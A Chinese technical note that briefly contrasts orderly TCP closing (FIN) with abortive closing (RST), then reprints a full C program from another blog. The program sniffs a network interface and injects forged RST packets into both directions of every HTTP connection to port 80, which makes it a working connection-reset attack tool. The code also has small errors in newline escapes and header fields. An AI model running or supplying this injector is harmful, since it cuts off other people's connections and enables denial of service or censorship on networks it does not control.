1、close()
:终止链接时发送FIN(Orderly Release),会把所有排队数据发出去后才发FIN
2、tcp->rst= 1; 或 //就是说先置RST标志然后close链接这时就是异常关闭;异常关闭会丢弃待发数据并发送RST报文
代码见附录1
3、
附录1:<转自http://blog.youkuaiyun.com/zhaoneiep/article/details/5495448>
/*
* File: main.c
* Author: Bearice
*
* Created on 2009年12月31日, 下午12:36
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
//#include <pcap/pcap.h>
#include <pcap.h>
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned long u32;
struct psdhdr {
u32 saddr;
u32 daddr;
char zero;
char proto;
u16 len;
};
u16 checksum(u16 *buffer, int size) {
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof (u16);
}
if (size)
cksum += *(u16*) buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (u16) (~cksum);
}
u16 tcp_checksum(struct iphdr* iph, struct tcphdr* tcph, char* data, int size) {
tcph->check = 0;
struct psdhdr psd_header;
psd_header.daddr = iph->daddr;
psd_header.saddr = iph->saddr;
psd_header.zero = 0;
psd_header.proto = IPPROTO_TCP;
psd_header.len = htons(sizeof (struct tcphdr) + size);
char tcpBuf[65536];
memcpy(tcpBuf, &psd_header, sizeof (struct psdhdr));
memcpy(tcpBuf + sizeof (struct psdhdr), tcph, sizeof (struct tcphdr));
memcpy(tcpBuf + sizeof (struct psdhdr) + sizeof (struct tcphdr), data, size);
return tcph->check = checksum((u16 *) tcpBuf,
sizeof (struct psdhdr) + sizeof (struct tcphdr) + size);
}
int inject_reset(int sip, int dip, int sport, int dport, int ttl, int seq) {
int sk = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
int ret = 1;
ret = setsockopt(sk, SOL_IP, IP_HDRINCL, &ret, sizeof (int));
u8 data[20 + sizeof (struct tcphdr) ];
bzero(data, sizeof (data));
struct iphdr* iphdr = data;
iphdr->version = 4;
iphdr->ihl = 5;
//iphdr->tos = 0;
iphdr->tot_len = 40;
//iphdr->id = 0;
//iphdr->frag_off = 0;
iphdr->ttl = ttl;
iphdr->protocol = IPPROTO_TCP;
//iphdr->check = 0;
iphdr->saddr = sip;
iphdr->daddr = dip;
struct tcphdr* tcp = data + 20;
tcp->source = sport;
tcp->dest = dport;
tcp->seq = seq;
//tcp.ack_seq = 0;
tcp->rst = 1;
tcp->window = 8158;
tcp->doff = 5;
//tcp.urg_ptr = 0;
tcp_checksum(iphdr, tcp, 0, 0);
struct sockaddr_in sin;
bzero((char *) & sin, sizeof (sin));
sin.sin_family = AF_INET;
sin.sin_port = dport; //port to send packet to
sin.sin_addr.s_addr = dip; //IP to send packet to
ret = sendto(sk, data, sizeof (data), 0, &sin, sizeof (sin));
close(sk);
return ret;
}
int main(int argc, char** argv) {
char errbuf[256];
pcap_t* fd = pcap_open_live("eth0", 1500, 1, 1000, errbuf);
//unsigned char data[1500];
u8* data;
struct pcap_pkthdr* pkthdr;
while (1) {
if (pcap_next_ex(fd, &pkthdr, &data) != 1)continue;
struct ether_header* ethhdr = data;
data += ETHER_HDR_LEN;
/*
printf("%02x:%02x:%02x:%02x:%02x:%02x -> %02x:%02x:%02x:%02x:%02x:%02x @ 0x%04x /n",
ethhdr->ether_shost[0],ethhdr->ether_shost[1],ethhdr->ether_shost[2],ethhdr->ether_shost[3],ethhdr->ether_shost[4],ethhdr->ether_shost[5],
ethhdr->ether_dhost[0],ethhdr->ether_dhost[1],ethhdr->ether_dhost[2],ethhdr->ether_dhost[3],ethhdr->ether_dhost[4],ethhdr->ether_dhost[5],
ntohs(ethhdr->ether_type));
*/
switch (ntohs(ethhdr->ether_type)) {
case ETHERTYPE_IP:
{
struct iphdr* iphdr = data;
data += iphdr->ihl * 4;
unsigned char* a1 = &iphdr->saddr;
unsigned char* a2 = &iphdr->daddr;
printf("%u.%u.%u.%u->%u.%u.%u.%u/n", a1[0], a1[1], a1[2], a1[3], a2[0], a2[1], a2[2], a2[3]);
switch (iphdr->protocol) {
case IPPROTO_TCP:
{
struct tcphdr* tcphdr = data;
printf(" Port: %d -> %d rst=%d/n", ntohs(tcphdr->source), ntohs(tcphdr->dest), tcphdr->rst);
if (ntohs(tcphdr->dest) == 80 && tcphdr->rst == 0) {
inject_reset(iphdr->saddr, iphdr->daddr, tcphdr->source, tcphdr->dest, iphdr->ttl, tcphdr->seq);
inject_reset(iphdr->daddr, iphdr->saddr, tcphdr->dest, tcphdr->source, iphdr->ttl, tcphdr->seq);
}
}
}
}
}
}
return (EXIT_SUCCESS);
}